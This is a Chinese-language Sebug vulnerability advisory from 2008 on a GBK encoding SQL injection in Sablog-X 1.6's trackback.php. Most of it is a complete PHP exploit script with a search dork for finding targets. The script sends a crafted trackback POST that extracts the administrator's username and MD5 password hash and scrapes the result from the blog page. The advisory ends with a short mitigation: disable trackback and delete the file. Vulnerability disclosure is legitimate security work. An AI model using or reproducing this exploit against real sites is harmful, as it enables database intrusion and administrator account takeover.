sablog 1.6 trackback.php转码函数注入漏洞

SSV-ID: 3784
SSV-AppDir: sablog漏洞
发布时间: 2008-08-05

漏洞版本:

sablog 1.6

漏洞描述:

Sablog-X是一个采用PHP和MySQL构建的博客系统.作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的设计理念,使得Sablog-X已获得业内越来越多专家和用户的认可.但是80sec在其中的代码里发现一个安全漏洞,导致远程用户通过SQL注射获得数据库权限,甚至获得管理员权限。
在sablog的trackback.php中的转码函数

function iconv2utf($chs) {
global $encode;
if ($encode != 'utf-8') {
if (function_exists('mb_convert_encoding')) {
$chs = mb_convert_encoding($chs, 'UTF-8', $encode);
} elseif (function_exists('iconv')) {
$chs = iconv($encode, 'UTF-8', $chs);
}
}
return $chs;
}

存在问题,当$encode为GBK字符集的时候,用户提交%bf’将会被转化为一个正常的utf-8字符和一个单引号,如果数据未加处理进入数据库将导致SQL注射。

测试方法:

#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
Sablog-X <= 1.6 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by SaBlog-X"
+---------------------------------------------------------------------------+
');
/**
 * works regardless of php.ini settings
 */
if ($argc < 3) {
	print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path code
host:      target server (ip/hostname)
path:      path to sablog-x
code:      the last blog trackback gbk code
Example:
php '.$argv[0].' localhost /sablog-x/ MQlnYmsJMTIxNzkyMzE0OAkw
+---------------------------------------------------------------------------+
');
	exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$code = $argv[3];

$arr = explode("\t", base64_decode($code));
if (count($arr) != 4)
	exit("Exploit Failed!\n");

$url = 'http://'.$host.$path.'?action=show&id='.$arr[0];

send();
preg_match('#<a\shref="1"\starget="_blank">([\S]+):([a-z0-9]{32})</a>#', file_get_contents($url), $hash);

if ($hash)
	exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else 
	exit("Exploit Failed!\n");
	
function send()
{
	global $host, $path, $code;

	$cmd = 'url=http://'.$host.$path.'&title=ryat%bf%27,'.time().',1,1,(SELECT CONCAT(username,0x3a,password) FROM sablog_users WHERE userid=1),'.time().',1,1)#&excerpt=ryat&blog_name=ryat';
	
	$message = "POST ".$path."trackback.php?code=$code  HTTP/1.1\r\n";
	$message .= "Accept: */*\r\n";
	$message .= "Accept-Language: zh-cn\r\n";
	$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
	$message .= "Host: $host\r\n";
	$message .= "Content-Length: ".strlen($cmd)."\r\n";
	$message .= "Connection: Close\r\n\r\n";
	$message .= $cmd;
	
	$fp = fsockopen($host, 80);
	fputs($fp, $message);
	
	$resp = '';

	while ($fp && !feof($fp))
		$resp .= fread($fp, 1024);
	
	return $resp;
}

?>

Sebug安全建议:

 请等待官方补丁
临时解决办法:
在后台禁用trackback功能,并删除trackback.php文件。


@Sebug.net [ 2008-08-05 ]